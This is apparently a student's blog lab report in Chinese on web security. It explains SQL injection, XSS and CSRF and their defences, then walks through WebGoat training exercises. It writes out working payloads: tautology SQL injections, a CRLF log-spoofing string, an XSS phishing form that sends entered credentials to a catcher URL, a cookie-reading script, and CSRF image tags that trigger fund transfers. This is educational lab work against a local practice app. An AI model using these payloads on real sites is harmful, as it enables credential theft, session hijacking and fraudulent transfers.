Exp9 Web安全基础

1.实验后回答问题

1SQL注入攻击原理,如何防御

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。

SQL注入攻击指的是就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

防御:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。

2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把秘密信息直接存放,加密或者hash掉密码和敏感的信息。

2XSS攻击的原理,如何防御

XSS攻击:跨站脚本攻击。

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略。

防御:

基于特征的防御:

传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。

基于代码修改的防御:

步骤1、对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

步骤2、实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

步骤3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP onlycookie

3CSRF攻击原理,如何防御

CSRF即跨站请求伪造。借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为跨站请求伪造

CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了。

防御

referer

因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)

使用验证码

每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。

使用token

每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。

将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。

2.实践过程记录

先下载webgoat-container-7.0.1-war-exec.jar并将其复制到kali中

kali键入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat,在firefox浏览器中输入http://localhost:8080/WebGoat进入登录界面,输入默认的账号即可登录。

1.Numeric SQL Injection 数字SQL注入攻击

攻击要求:下面的表单允许用户查看天气数据。尝试注入SQL字符串,结果将显示所有天气数据。

 

这个题无法通过输入信息进行攻击,我们只能按下f12进入网页后端,把这一处原来的101替换成 101 or 1=1 ,构造永真式,在第一页选择哥伦比亚进行查询即可查询到表中所有天气情况。

 

2.String SQL Injection SQL字符串注入

攻击要求:下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,结果显示所有的信用卡号码显示。

 输入 'or 1='1  构造永真式:第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。而第二句1=1永远成立,所以我们可以查找到全部人及其银行卡账号。

 

3.Log Spoofing日志欺骗

攻击:下面的灰色区域表示将要登录到Web服务器的日志文件中的内容。你的目标是使它像一个用户名“admin”已成功登录。 通过向日志文件中添加脚本来提升攻击。

 先尝试输入账号密码,发现不论输入什么用户名都会在同一行显示出来。所以我们可以利用回车换行进行注入。

所以我们在用户名框中输入 %0d%0a(换行符)Login Succeeded for username: admin 。登录成功。

 

4.Phishing with XSS 跨站脚本钓鱼攻击

search框编写前端代码并在输入框中注入这段前端代码

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;"></div>
<div style="float:left;height:100px;width:50%;"></div>
</div>
<div style="height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

 

按要求输入username password 即可截获成功

 

5.Reflected XSS Attacks反射型XSS攻击

攻击要求:在务器端验证所有输入是一个很好的方法。XSS可以发生在未经验证的用户输入用于HTTP响应。在反射型XSS攻击中,攻击者可以制作一个URL攻击脚本发送到另一个网站,比如电子邮件,然后让受害者点击它。

 于Enter your three digit access codeA框内:填写 <script>alert(document.cookie);</script> ,此段代码可以获取cookie。

 

6.Cross SSite Request Forgery(CSRF)——ssite请求伪造

 攻击要求:目标是把电子邮件发送到银行。该电子邮件包含一个图像,其URL指向恶意请求。可以通过在右边的参数中查找“src”和“menu”值来构造链接。 CSRF的电子邮件,是用来匿名的将收件人的资金转移。

输入

<img src=' http://localhost:8080/WebGoat/attack? Screen=286 &menu=900 &transferFunds=233 ' width='1' height='1'>

其中286是网页的scr,900是网页的menu,4309为转钱数额

 

7.CSRF Prompt By-Pass

攻击要求:与上一个攻击类似,不同的是这次的目标是发送一组包含多个恶意请求的邮件:①资金转移请求②资金转移确认信息。

只需要在之前的基础上加一句确认信息即可:

<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />

 

所以输入为:

<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=4309" width="1" height="1" />

<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />

 

posted @ 2019-05-26 17:32  路人龙套  阅读(128)  评论(0编辑  收藏